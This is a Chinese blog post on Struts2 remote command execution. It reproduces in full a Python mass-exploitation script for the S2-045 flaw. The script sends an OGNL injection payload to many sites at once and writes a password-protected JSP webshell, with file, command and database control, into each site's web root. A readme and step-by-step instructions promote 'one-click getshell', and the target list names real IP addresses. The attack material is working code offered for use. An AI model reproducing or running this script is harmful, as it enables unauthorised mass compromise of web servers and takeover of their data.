struts2远程命令执行02

最新推荐文章于 2024-04-29 01:54:48 发布
最新推荐文章于 2024-04-29 01:54:48 发布
阅读量3.1k 收藏 23
点赞数 27
分类专栏： # 框架漏洞 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_71366428/article/details/135054532
版权

链接地址：Hello

1、利用脚本小工具验证漏洞是否存在。

脚本小工具如下：Struts2漏洞检查工具2019版 V2.3.exe

2、也可以用科来抓包提取payload用Burp Suite提交数据。

科来打开监测，用K8小工具进行命令执行操作进行抓包。

选中数据包右键选择“在新窗口中显示数据流信息”

选择数据流、EBC编码格式不可读

ASC编码格式为可读，复制绿色的数据包整体替换到Burp Suite中

进行替换后也可以成功执行whoami命令

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

1、利用批量小工具可以大批量对网站上传shell。

工具如下：

pi_struts2-045.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# ------------------------------------------------------------------------------
# Name:        struts2 045 exploit lcc
# Author:      pirogue
# Created:     2017-3-10 00:40:50
# Site:        [url=http://www.pirogue.org]http://www.pirogue.org[/url]
# useage:      python pi_struts2-045.py xxx.txt 5
# ------------------------------------------------------------------------------


import urllib2
import sys
import time
from multiprocessing.dummy import Pool as ThreadPool
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

reload(sys)
sys.setdefaultencoding = 'utf-8'


class Pi_Struts2_045(object):
    """init variables"""
    def __init__(self, sthreads, num):
        # self.surl = surl
        self.stime = time.strftime("%Y-%m-%d%H%M%S", time.localtime())
        self.sthreads = sthreads
        self.datagen, self.header = multipart_encode(
            {"image1": open("tmp.txt", "rb")})

        self.header["User-agent"] = "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 MicroMessenger/6.0.1 NetType/WIFI"

        self.webshell_txt_1 = '%3C%25%21%0D%0AString%20Pwd%3D%22pi%22%3B%0D%0AString%20EC%28String%20s%2CString%20c%29throws%20Exception%7Breturn%20s%3B%7D%2F%2Fnew%20String%28s.getBytes%28%22ISO-8859-1%22%29%2Cc%29%3B%7D%0D%0AConnection%20GC%28String%20s%29throws%20Exception%7BString%5B%5D%20x%3Ds.trim%28%29.split%28%22%5Cr%5Cn%22%29%3BClass.forName%28x%5B0%5D.trim%28%29%29.newInstance%28%29%3B%0D%0AConnection%20c%3DDriverManager.getConnection%28x%5B1%5D.trim%28%29%29%3Bif%28x.length%3E2%29%7Bc.setCatalog%28x%5B2%5D.trim%28%29%29%3B%7Dreturn%20c%3B%7D%0D%0Avoid%20AA%28StringBuffer%20sb%29throws%20Exception%7BFile%20r%5B%5D%3DFile.listRoots%28%29%3Bfor%28int%20i%3D0%3Bi%3Cr.length%3Bi%2B%2B%29%7Bsb.append%28r%5Bi%5D.toString%28%29.substring%280%2C2%29%29%3B%7D%7D%0D%0Avoid%20BB%28String%20s%2CStringBuffer%20sb%29throws%20Exception%7BFile%20oF%3Dnew%20File%28s%29%2Cl%5B%5D%3DoF.listFiles%28%29%3BString%20sT%2C%20sQ%2CsF%3D%22%22%3Bjava.util.Date%20dt%3B%0D%0ASimpleDateFormat%20fm%3Dnew%20SimpleDateFormat%28%22yyyy-MM-dd%20HH%3Amm%3Ass%22%29%3Bfor%28int%20i%3D0%3Bi%3Cl.length%3Bi%2B%2B%29%7Bdt%3Dnew%20java.util.Date%28l%5Bi%5D.lastModified%28%29%29%3B%0D%0AsT%3Dfm.format%28dt%29%3BsQ%3Dl%5Bi%5D.canRead%28%29%3F%22R%22%3A%22%22%3BsQ%2B%3Dl%5Bi%5D.canWrite%28%29%3F%22%20W%22%3A%22%22%3Bif%28l%5Bi%5D.isDirectory%28%29%29%7Bsb.append%28l%5Bi%5D.getName%28%29%2B%22%2F%5Ct%22%2BsT%2B%22%5Ct%22%2Bl%5Bi%5D.length%28%29%2B%22%5Ct%22%2BsQ%2B%22%5Cn%22%29%3B%7D%25%3E'
        self.webshell_txt_2 = '%3C%25%21%20else%7BsF%2B%3Dl%5Bi%5D.getName%28%29%2B%22%5Ct%22%2BsT%2B%22%5Ct%22%2Bl%5Bi%5D.length%28%29%2B%22%5Ct%22%2BsQ%2B%22%5Cn%22%3B%7D%7Dsb.append%28sF%29%3B%7D%0D%0Avoid%20EE%28String%20s%29throws%20Exception%7BFile%20f%3Dnew%20File%28s%29%3Bif%28f.isDirectory%28%29%29%7BFile%20x%5B%5D%3Df.listFiles%28%29%3B%0D%0Afor%28int%20k%3D0%3Bk%3Cx.length%3Bk%2B%2B%29%7Bif%28%21x%5Bk%5D.delete%28%29%29%7BEE%28x%5Bk%5D.getPath%28%29%29%3B%7D%7D%7Df.delete%28%29%3B%7D%0D%0Avoid%20FF%28String%20s%2CHttpServletResponse%20r%29throws%20Exception%7Bint%20n%3Bbyte%5B%5D%20b%3Dnew%20byte%5B512%5D%3Br.reset%28%29%3B%0D%0AServletOutputStream%20os%3Dr.getOutputStream%28%29%3BBufferedInputStream%20is%3Dnew%20BufferedInputStream%28new%20FileInputStream%28s%29%29%3B%0D%0Aos.write%28%28%22-%3E%22%2B%22%7C%22%29.getBytes%28%29%2C0%2C3%29%3Bwhile%28%28n%3Dis.read%28b%2C0%2C512%29%29%21%3D-1%29%7Bos.write%28b%2C0%2Cn%29%3B%7Dos.write%28%28%22%7C%22%2B%22%3C-%22%29.getBytes%28%29%2C0%2C3%29%3Bos.close%28%29%3Bis.close%28%29%3B%7D%0D%0Avoid%20GG%28String%20s%2C%20String%20d%29throws%20Exception%7BString%20h%3D%220123456789ABCDEF%22%3Bint%20n%3BFile%20f%3Dnew%20File%28s%29%3Bf.createNewFile%28%29%3B%0D%0AFileOutputStream%20os%3Dnew%20FileOutputStream%28f%29%3Bfor%28int%20i%3D0%3Bi%3Cd.length%28%29%3Bi%2B%3D2%29%0D%0A%7Bos.write%28%28h.indexOf%28d.charAt%28i%29%29%3C%3C4%7Ch.indexOf%28d.charAt%28i%2B1%29%29%29%29%3B%7Dos.close%28%29%3B%7D%0D%0Avoid%20HH%28String%20s%2CString%20d%29throws%20Exception%7BFile%20sf%3Dnew%20File%28s%29%2Cdf%3Dnew%20File%28d%29%3Bif%28sf.isDirectory%28%29%29%7Bif%28%21df.exists%28%29%29%7Bdf.mkdir%28%29%3B%7DFile%20z%5B%5D%3Dsf.listFiles%28%29%3B%0D%0Afor%28int%20j%3D0%3Bj%3Cz.length%3Bj%2B%2B%29%7BHH%28s%2B%22%2F%22%2Bz%5Bj%5D.getName%28%29%2Cd%2B%22%2F%22%2Bz%5Bj%5D.getName%28%29%29%3B%7D%0D%0A%7Delse%7BFileInputStream%20is%3Dnew%20FileInputStream%28sf%29%3BFileOutputStream%20os%3Dnew%20FileOutputStream%28df%29%3B%0D%0Aint%20n%3Bbyte%5B%5D%20b%3Dnew%20byte%5B512%5D%3Bwhile%28%28n%3Dis.read%28b%2C0%2C512%29%29%21%3D-1%29%7Bos.write%28b%2C0%2Cn%29%3B%7Dis.close%28%29%3Bos.close%28%29%3B%7D%7D%0D%0Avoid%20II%28String%20s%2CString%20d%29throws%20Exception%7BFile%20sf%3Dnew%20File%28s%29%2Cdf%3Dnew%20File%28d%29%3Bsf.renameTo%28df%29%3B%7Dvoid%20JJ%28String%20s%29throws%20Exception%7BFile%20f%3Dnew%20File%28s%29%3Bf.mkdir%28%29%3B%7D%25%3E'
        self.webshell_txt_3 = '%3C%25%21void%20KK%28String%20s%2CString%20t%29throws%20Exception%7BFile%20f%3Dnew%20File%28s%29%3BSimpleDateFormat%20fm%3Dnew%20SimpleDateFormat%28%22yyyy-MM-dd%20HH%3Amm%3Ass%22%29%3B%0D%0Ajava.util.Date%20dt%3Dfm.parse%28t%29%3Bf.setLastModified%28dt.getTime%28%29%29%3B%7D%0D%0Avoid%20LL%28String%20s%2C%20String%20d%29throws%20Exception%7BURL%20u%3Dnew%20URL%28s%29%3Bint%20n%3BFileOutputStream%20os%3Dnew%20FileOutputStream%28d%29%3B%0D%0AHttpURLConnection%20h%3D%28HttpURLConnection%29u.openConnection%28%29%3BInputStream%20is%3Dh.getInputStream%28%29%3Bbyte%5B%5D%20b%3Dnew%20byte%5B512%5D%3B%0D%0Awhile%28%28n%3Dis.read%28b%2C0%2C512%29%29%21%3D-1%29%7Bos.write%28b%2C0%2Cn%29%3B%7Dos.close%28%29%3Bis.close%28%29%3Bh.disconnect%28%29%3B%7D%0D%0Avoid%20MM%28InputStream%20is%2C%20StringBuffer%20sb%29throws%20Exception%7BString%20l%3BBufferedReader%20br%3Dnew%20BufferedReader%28new%20InputStreamReader%28is%29%29%3B%0D%0Awhile%28%28l%3Dbr.readLine%28%29%29%21%3Dnull%29%7Bsb.append%28l%2B%22%5Cr%5Cn%22%29%3B%7D%7D%0D%0Avoid%20NN%28String%20s%2CStringBuffer%20sb%29throws%20Exception%7BConnection%20c%3DGC%28s%29%3BResultSet%20r%3Dc.getMetaData%28%29.getCatalogs%28%29%3B%0D%0Awhile%28r.next%28%29%29%7Bsb.append%28r.getString%281%29%2B%22%5Ct%22%29%3B%7Dr.close%28%29%3Bc.close%28%29%3B%7D%0D%0Avoid%20OO%28String%20s%2CStringBuffer%20sb%29throws%20Exception%7BConnection%20c%3DGC%28s%29%3BString%5B%5D%20t%3D%7B%22TABLE%22%7D%3BResultSet%20r%3Dc.getMetaData%28%29.getTables%20%28null%2Cnull%2C%22%25%22%2Ct%29%3B%0D%0Awhile%28r.next%28%29%29%7Bsb.append%28r.getString%28%22TABLE%5FNAME%22%29%2B%22%5Ct%22%29%3B%7Dr.close%28%29%3Bc.close%28%29%3B%7D%25%3E'
        self.webshell_txt_4 = '%3C%25%21void%20PP%28String%20s%2CStringBuffer%20sb%29throws%20Exception%7BString%5B%5D%20x%3Ds.trim%28%29.split%28%22%5Cr%5Cn%22%29%3BConnection%20c%3DGC%28s%29%3B%0D%0AStatement%20m%3Dc.createStatement%281005%2C1007%29%3BResultSet%20r%3Dm.executeQuery%28%22select%20%2A%20from%20%22%2Bx%5B3%5D%29%3BResultSetMetaData%20d%3Dr.getMetaData%28%29%3B%0D%0Afor%28int%20i%3D1%3Bi%3C%3Dd.getColumnCount%28%29%3Bi%2B%2B%29%7Bsb.append%28d.getColumnName%28i%29%2B%22%20%28%22%2Bd.getColumnTypeName%28i%29%2B%22%29%5Ct%22%29%3B%7Dr.close%28%29%3Bm.close%28%29%3Bc.close%28%29%3B%7D%0D%0Avoid%20QQ%28String%20cs%2CString%20s%2CString%20q%2CStringBuffer%20sb%29throws%20Exception%7Bint%20i%3BConnection%20c%3DGC%28s%29%3BStatement%20m%3Dc.createStatement%281005%2C1008%29%3B%0D%0Atry%7BResultSet%20r%3Dm.executeQuery%28q%29%3BResultSetMetaData%20d%3Dr.getMetaData%28%29%3Bint%20n%3Dd.getColumnCount%28%29%3Bfor%28i%3D1%3Bi%3C%3Dn%3Bi%2B%2B%29%7Bsb.append%28d.getColumnName%28i%29%2B%22%5Ct%7C%5Ct%22%29%3B%0D%0A%7Dsb.append%28%22%5Cr%5Cn%22%29%3Bwhile%28r.next%28%29%29%7Bfor%28i%3D1%3Bi%3C%3Dn%3Bi%2B%2B%29%7Bsb.append%28EC%28r.getString%28i%29%2Ccs%29%2B%22%5Ct%7C%5Ct%22%29%3B%7Dsb.append%28%22%5Cr%5Cn%22%29%3B%7Dr.close%28%29%3B%7D%0D%0Acatch%28Exception%20e%29%7Bsb.append%28%22Result%5Ct%7C%5Ct%5Cr%5Cn%22%29%3Btry%7Bm.executeUpdate%28q%29%3Bsb.append%28%22Execute%20Successfully%21%5Ct%7C%5Ct%5Cr%5Cn%22%29%3B%0D%0A%7Dcatch%28Exception%20ee%29%7Bsb.append%28ee.toString%28%29%2B%22%5Ct%7C%5Ct%5Cr%5Cn%22%29%3B%7D%7Dm.close%28%29%3Bc.close%28%29%3B%7D%0D%0A%25%3E'
        self.webshell_txt_5 = '%3C%25%0D%0AString%20cs%3Drequest.getParameter%28%22z0%22%29%2B%22%22%3Brequest.setCharacterEncoding%28cs%29%3Bresponse.setContentType%28%22text%2Fhtml%3Bcharset%3D%22%2Bcs%29%3B%0D%0AString%20Z%3DEC%28request.getParameter%28Pwd%29%2B%22%22%2Ccs%29%3BString%20z1%3DEC%28request.getParameter%28%22z1%22%29%2B%22%22%2Ccs%29%3BString%20z2%3DEC%28request.getParameter%28%22z2%22%29%2B%22%22%2Ccs%29%3B%0D%0AStringBuffer%20sb%3Dnew%20StringBuffer%28%22%22%29%3Btry%7Bsb.append%28%22-%3E%22%2B%22%7C%22%29%3B%0D%0Aif%28Z.equals%28%22A%22%29%29%7BString%20s%3Dnew%20File%28application.getRealPath%28request.getRequestURI%28%29%29%29.getParent%28%29%3Bsb.append%28s%2B%22%5Ct%22%29%3Bif%28%21s.substring%280%2C1%29.equals%28%22%2F%22%29%29%7BAA%28sb%29%3B%7D%7D%0D%0Aelse%20if%28Z.equals%28%22B%22%29%29%7BBB%28z1%2Csb%29%3B%7Delse%20if%28Z.equals%28%22C%22%29%29%7BString%20l%3D%22%22%3BBufferedReader%20br%3Dnew%20BufferedReader%28new%20InputStreamReader%28new%20FileInputStream%28new%20File%28z1%29%29%29%29%3B%0D%0Awhile%28%28l%3Dbr.readLine%28%29%29%21%3Dnull%29%7Bsb.append%28l%2B%22%5Cr%5Cn%22%29%3B%7Dbr.close%28%29%3B%7D%25%3E'
        self.webshell_txt_6 = '%3C%25else%20if%28Z.equals%28%22D%22%29%29%7BBufferedWriter%20pi%3Dnew%20BufferedWriter%28new%20OutputStreamWriter%28new%20FileOutputStream%28new%20File%28z1%29%29%29%29%3B%0D%0Api.write%28z2%29%3Bpi.close%28%29%3Bsb.append%28%221%22%29%3B%7Delse%20if%28Z.equals%28%22E%22%29%29%7BEE%28z1%29%3Bsb.append%28%221%22%29%3B%7Delse%20if%28Z.equals%28%22F%22%29%29%7BFF%28z1%2Cresponse%29%3B%7D%0D%0Aelse%20if%28Z.equals%28%22G%22%29%29%7BGG%28z1%2Cz2%29%3Bsb.append%28%221%22%29%3B%7Delse%20if%28Z.equals%28%22H%22%29%29%7BHH%28z1%2Cz2%29%3Bsb.append%28%221%22%29%3B%7Delse%20if%28Z.equals%28%22I%22%29%29%7BII%28z1%2Cz2%29%3Bsb.append%28%221%22%29%3B%7D%0D%0Aelse%20if%28Z.equals%28%22J%22%29%29%7BJJ%28z1%29%3Bsb.append%28%221%22%29%3B%7Delse%20if%28Z.equals%28%22K%22%29%29%7BKK%28z1%2Cz2%29%3Bsb.append%28%221%22%29%3B%7Delse%20if%28Z.equals%28%22L%22%29%29%7BLL%28z1%2Cz2%29%3Bsb.append%28%221%22%29%3B%7D%0D%0Aelse%20if%28Z.equals%28%22M%22%29%29%7BString%5B%5D%20c%3D%7Bz1.substring%282%29%2Cz1.substring%280%2C2%29%2Cz2%7D%3BProcess%20p%3DRuntime.getRuntime%28%29.exec%28c%29%3B%0D%0AMM%28p.getInputStream%28%29%2Csb%29%3BMM%28p.getErrorStream%28%29%2Csb%29%3B%7Delse%20if%28Z.equals%28%22N%22%29%29%7BNN%28z1%2Csb%29%3B%7Delse%20if%28Z.equals%28%22O%22%29%29%7BOO%28z1%2Csb%29%3B%7D%0D%0Aelse%20if%28Z.equals%28%22P%22%29%29%7BPP%28z1%2Csb%29%3B%7Delse%20if%28Z.equals%28%22Q%22%29%29%7BQQ%28cs%2Cz1%2Cz2%2Csb%29%3B%7D%0D%0A%7Dcatch%28Exception%20e%29%7Bsb.append%28%22ERROR%22%2B%22%3A%2F%2F%20%22%2Be.toString%28%29%29%3B%7Dsb.append%28%22%7C%22%2B%22%3C-%22%29%3Bout.print%28sb.toString%28%29%29%3B%0D%0A%25%3E'
        self.webshell_txt_7 = '%3C%25%40page%20import%3D%22java.io.%2A%2Cjava.util.%2A%2Cjava.net.%2A%2Cjava.sql.%2A%2Cjava.text.%2A%22%25%3E%3C%25%40include%20file%3D%221lcc.jsp%22%25%3E%3C%25%40include%20file%3D%222lcc.jsp%22%25%3E%3C%25%40include%20file%3D%223lcc.jsp%22%25%3E%3C%25%40include%20file%3D%224lcc.jsp%22%25%3E%3C%25%40include%20file%3D%225lcc.jsp%22%25%3E%3C%25%40include%20file%3D%226lcc.jsp%22%25%3E'
        self.num = str(num)
        self.header["Content-Type"] = "%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ccccc='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('/')).(#shell='" + eval("self.webshell_txt_"+ self.num)+"').(new java.io.BufferedWriter(new java.io.FileWriter(#path+'/"+self.num+"lcc.jsp').append(new java.net.URLDecoder().decode(#shell,'UTF-8'))).close()).(#cmd='echo \\\"write file to '+#path+'/"+ self.num +"lcc.jsp\\\"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"


    def spost_exp(self, ck_url):
        """post payload"""
        # print self.header
        try:
            register_openers()
            request_s2_045 = urllib2.Request(ck_url, self.datagen, self.header)
            response_s2_045 = urllib2.urlopen(request_s2_045, timeout=5)
            res = response_s2_045.read()
            self.ensure(res, ck_url)
        except:
            print "error--->" + ck_url


    def ensure(self, res, shost):
        """output struts2 045 res"""
        print res
        # stime = time.strftime("%Y-%m-%d%H%M%S", time.localtime())
        if "6lcc" in res:
            with open(self.stime+'result.txt', 'a') as f_s:
                f_s.write(res + shost)


    def check_url(self, url_txt):
        'check url list'
        with open(url_txt, 'rb') as c_f:
            # print type(c_f)
            pool = ThreadPool(self.sthreads)
            pool.map(self.spost_exp, c_f)
            pool.close()
            pool.join()
            # for url in c_f:
            #     self.spost_exp(stime ,url)
    # def read_file(self):
    #     """read webshell content to str"""
    #     file_object = open('caidao.jsp', 'rb').read()
    #     print file_object


def main():
    """useage: python pi_struts2-045.py xxx.txt 5"""
    for i in range(1, 8):
        exploit = Pi_Struts2_045(int(sys.argv[2]), i)
        exploit.check_url(str(sys.argv[1]))


if __name__ == '__main__':
    main()

readme.txt

说明：

1. 真正一键getshell
2. 原理是将菜刀一句话进行拆分为6个任意后缀文件，urlencod编码，在写入文件的时候将脚本decode写入web根目录；最后再写入第7个jsp脚本，此脚本内容include前面6个文件，即可实现生成一句话菜刀连接马；
3. 使用时请先将确认存在漏洞的网站放进url.txt文件内，然后再使用此脚本自动getshell，原因是毕竟要写7个文件，多线程处理的时候没有做判断，会额外跑很多次无用的url，懒得动脑改了，逻辑和代码都很烂~
4. 运行时屏幕会打印每次请求写入服务请求的response，仅仅是提示用，可以忽略，最后看生成的result+时间.txt的文本文件；
5. 学习了@_luan 的绝对路径写文件 @lostwolf 的编码等思路，结合了jsp文件包含的特性；


### 使用方法
#### 目录结构：

目录下需要3个文件：

1. pi_struts2-045.py  `上面python代码内容`

2. tmp.txt            `exp脚本需要post的文件，内容为空即可`

3. url.txt            `采集到的url列表文件，一行一个`


#### 命令：

python pi_struts2-045.py url.txt 8
```
注：数字8代表线程数
```


webshell地址是，网站根目录 http://xxx.com/7t00ls.jsp 默认密码: pi
前面6个jsp文件分别是1t00ls.jsp、2t00ls.jsp、...6t00ls.jsp，最后一个7t00ls.jsp是包含前面6个的。

tmp.txt

里面内容为空即可

url.txt

http://106.15.50.112:8088/login/login_CheckLogin.action
http://106.15.50.112:8027/hello.action

2、利用pi_struts2-045.py脚本文件上传shell，标记的地方为上传的文件名，可以随意更改。

3、用cmd命令行运行.py脚本，url.txt文件中存在是大量网站url，8代表线程，可以暂时不用管报错信息，直接去网站访问url。

4、访问网站url是否成功上传shell，路径为http://x.x.x.x:8080/7xxx.jsp，显示500代表成功上传，可以找到。

5、打开菜刀连接URL，成功连接可直接执行命令。

注：

该脚本需要用的python2运行，还需要调用poster模块，安装poster模块必须要用pip2，安装pip2命令：curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py

python get-pip.py

曾阿牛！
关注
  • 27
    点赞
  • 踩
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
(s2-012) Struts2 远程代码执行
weixin_45253622的博客
12-16 2740
影响版本 2.1.0 - 2.3.13 漏洞原理 如果在配置result在action时使用了重定向类型，并且$ {PARAM_NAME}也被用作重定向变量，例如： <package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> <result name="redirect" type="redirect"&g
Struts2远程命令执行漏洞
mirror97black的博客
12-20 1万+
Struts2 远程命令执行漏洞
Struts2远程代码执行
最新发布
2302_79885863的博客
04-29 752
Struts2漏洞是一个经典的漏洞系列，根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善，现在想挖掘新的Struts2漏洞会比以前困难很多，从实际了解的情况来看，大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时，Struts2漏洞主要也是碰碰运气，或者是打到内网之后用来攻击没打补丁的系统会比较有效。Struts2执行代码的原理：Struts2的动态性在于ongl表达式可以获取到运行变量的值，并且有机会执行函数调用。
墨者Apache Struts2远程代码执行漏洞(S2-015）题解
zr1213159840的博客
01-08 2629
这题在网上搜索后，发现是这么进行操作的 首先在地址后面添加 ${1+2}.action 即访问 http://219.153.49.228:43186/${1+2}.action 发现存在回显 然后我们构造以下信息，访问当前的文件夹，发现key.txt %24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDecla
Struts2远程命令执行验证工具
11-22
然而，Struts2在历史上出现过一些严重的安全漏洞，其中最具威胁性的之一是“Struts2远程命令执行”漏洞。这个标题提到的“Struts2远程命令执行验证工具”就是专门针对这类漏洞设计的检测和分析软件。 Struts2远程...
struts2远程命令执行环境包
10-09
struts2远程命令执行环境war包，想要深入学习深入到代码层的童鞋可以下载在本地搭建使用。
Struts2远程命令执行漏洞解析
01-06
Struts2远程命令执行漏洞解析 漏洞解析 远程命令 Struts2
struts2远程命令执行环境搭建及录屏
10-09
struts2远程命令执行漏洞环境搭建以及录屏
Struts2远程代码执行漏洞分析（S2-013）1
08-08
这个漏洞出现在 includeParams 属性中，允许远程命令执行。 漏洞的成因是 Struts2 标签库中的 url 标签和 a 标签的 includeParams 属性，代表显示请求访问参数的含义，一旦它的值被赋予 ALL 或者 GET 或者 POST，就...
Struts2漏洞检查工具2019版 V2.3.exe
01-16
Struts2漏洞检查工具2019版 警告： 本工具为漏洞自查工具，请勿非法攻击他人网站！ ==漏洞编号==============影响版本=========================官方公告==========================================影响范围===== S2-057 CVE-2018-11776 Struts 2.3 to 2.3.34，Struts 2.5 to 2.5.16 https://cwiki.apache.org/confluence/display/WW/S2-057 影响范围非常小 S2-048 CVE-2017-9791 Struts 2.3.X http://127.0.0.1:8090/struts2-showcase/integration/saveGangster.action 影响范围非常小 S2-046 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10 http://struts.apache.org/docs/s2-046.html 和S2-045一样 S2-045 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10 http://struts.apache.org/docs/s2-045.html 影响范围较大 S2-037 CVE-2016-4438 Struts 2.3.20-2.3.28.1 http://struts.apache.org/docs/s2-037.html 影响范围小 S2-032 CVE-2016-3081 Struts 2.3.18-2.3.28 http://struts.apache.org/release/2.3.x/docs/s2-032.html 影响范围小 S2-020 CVE-2014-0094 Struts 2.0.0-2.3.16 http://struts.apache.org/release/2.3.x/docs/s2-020.html 影响范围小 S2-019 CVE-2013-4316 Struts 2.0.0-2.3.15.1 http://struts.apache.org/release/2.3.x/docs/s2-019.html 影响范围一般 S2-016 CVE-2013-2251 Struts 2.0.0-2.3.15 http://struts.apache.org/release/2.3.x/docs/s2-016.html 影响范围非常大 S2-013 CVE-2013-1966 Struts 2.0.0-2.3.14 http://struts.apache.org/release/2.3.x/docs/s2-013.html 未添加，S2-016范围内 S2-009 CVE-2011-3923 Struts 2.0.0-2.3.1.1 http://struts.apache.org/release/2.3.x/docs/s2-009.html 未添加，S2-016范围内 S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1 http://struts.apache.org/release/2.2.x/docs/s2-005.html 未添加，S2-016范围内
Struts2漏洞利用工具2019版 V2.3.zip
09-11
Struts2漏洞利用工具2019版 V2.3.zip
cmd远程命令执行_CVE202017530Struts2(S2061)远程命令执行
weixin_42516642的博客
12-28 271
一、漏洞介绍0x01 Apache Struts2框架介绍 ApacheStruts2框架是一个用于开发Java EE网络应用程序的Web框架。它是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。0x02 S2-061漏洞介绍 A...
struts2(s2-052)远程命令执行漏洞复现
weixin_30929011的博客
09-07 722
漏洞描述： 2017年9月5日，Apache Struts发布最新安全公告，Apache Struts2的REST插件存在远程代码执行的高危漏洞，该漏洞由lgtm.com的安全研究员汇报，漏洞编号为CVE-2017-9805（S2-052）。Struts2 REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验...
struts2远程命令执行漏洞
weixin_34273481的博客
06-27 377
2019独角兽企业重金招聘Python工程师标准>>> ...
Struts2反序列化漏洞复现
热门推荐
wangyuxiang946的博客
07-20 1万+
作者简介」：冬奥会网络安全中国代表队，CSDN Top100，就职奇安信多年，以实战工作为基础著作，适合基础薄弱的同学系统化的学习网络安全，用最短的时间掌握最核心的技术。环境: vulhub。
漏洞复现 - - -Struts2(s2-045)远程命令执行漏洞
weixin_67503304的博客
08-22 7355
从源码的角度分析Struts2(s2-045)远程命令执行漏洞，利用java详细讲解造成漏洞的原因，包含了Structs2高危漏洞exp的扫描利用工具
Struts2 S2-057远程代码执行漏洞
weixin_46801402的博客
11-01 841
Struts2 S2-057远程代码执行漏洞
apache struts2框架命令执行漏洞(s2-045、s2-046)
01-11
Apache Struts2框架是一种流行的开源Web应用程序开发框架，但曾经发生过多个命令执行漏洞，其中包括s2-045和s2-046漏洞。 s2-045漏洞源于在处理远程表达式语言（OGNL）时存在安全漏洞，攻击者可以利用构造特定的HTTP请求发送恶意代码，导致服务器执行该恶意代码，从而获取系统权限。 而s2-046漏洞则是由于Struts2框架中对传入参数的处理不当，攻击者可以通过构造特定的HTTP请求，触发服务器执行恶意代码。 这两个漏洞都存在严重的安全风险，可能导致服务器受到攻击，甚至导致系统被入侵。为了防范这些漏洞，用户应该及时更新Struts2框架的最新版本，开发人员也需要对传入的参数进行严格的验证和过滤，避免恶意代码的执行。此外，安全团队也应该定期对服务器进行安全漏洞扫描和修复，以确保系统的安全性。 总之，对于Apache Struts2框架的命令执行漏洞，我们需要重视并采取有效的措施来防范和修复，以确保系统的安全性和稳定性。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值